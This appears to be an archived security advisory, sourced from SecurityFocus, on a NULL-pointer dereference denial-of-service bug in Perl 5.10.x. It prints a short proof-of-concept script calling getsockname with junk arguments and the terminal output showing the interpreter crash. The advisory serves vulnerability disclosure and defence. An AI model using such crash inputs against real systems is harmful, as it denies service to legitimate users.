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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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source: https://www.securityfocus.com/bid/47766/info

Perl is prone to multiple denial-of-service vulnerabilities caused by a NULL-pointer dereference.

An attacker can exploit these issues to cause an affected application to crash, denying service to legitimate users.

Perl versions 5.10.x are vulnerable. 

jonathan () blackbox:~/test$ cat poc1.pl
    #!/usr/bin/perl
    $a =
getsockname(9505,4590,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA",17792);
    jonathan () blackbox:~/test$ perl poc1.pl
    Segmentation fault (core dumped)
    jonathan () blackbox:~/test$